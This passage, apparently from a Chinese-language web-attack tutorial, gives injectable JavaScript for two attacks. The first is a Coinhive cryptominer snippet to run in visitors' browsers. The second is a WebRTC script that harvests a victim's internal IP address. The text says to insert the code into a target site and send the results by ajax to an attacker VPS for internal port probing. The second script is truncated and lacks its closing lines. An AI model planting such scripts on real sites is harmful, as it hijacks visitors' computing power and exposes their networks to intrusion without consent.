<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('<site-key>', 'john-doe’);
miner.start();
</script>
代码中的key值,可以通过在网站注册,免费获得。>
0×04探测内网端口WebRTC实现了基于网页的视频会议,标准是WHATWG 协议,目的是通过浏览器提供简单的javascript就可以达到实时通讯(Real-Time Communications (RTC))能力。攻击者可以利用webrtc来获取受害者的内网IP地址。获取到内网IP地址之后,可以进一步有针对性的进行内网开放HTTP协议的端口进行探测。
1.获取受害者内网IP
<script>
function getIPs(callback){
var ip_arr = [];
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = undefined;
if(window.webkitRTCPeerConnection){
servers = {iceServers: []};
}
var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){
if(ice.candidate){
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){});
}, function(){});
}
getIPs(function(ip){
alert(ip);
</script>
将以上的代码插入到目标网站中,可以获取到受害者的内网IP,然后在通过ajax等方式传递到vps 上,方便进行下一步的利用。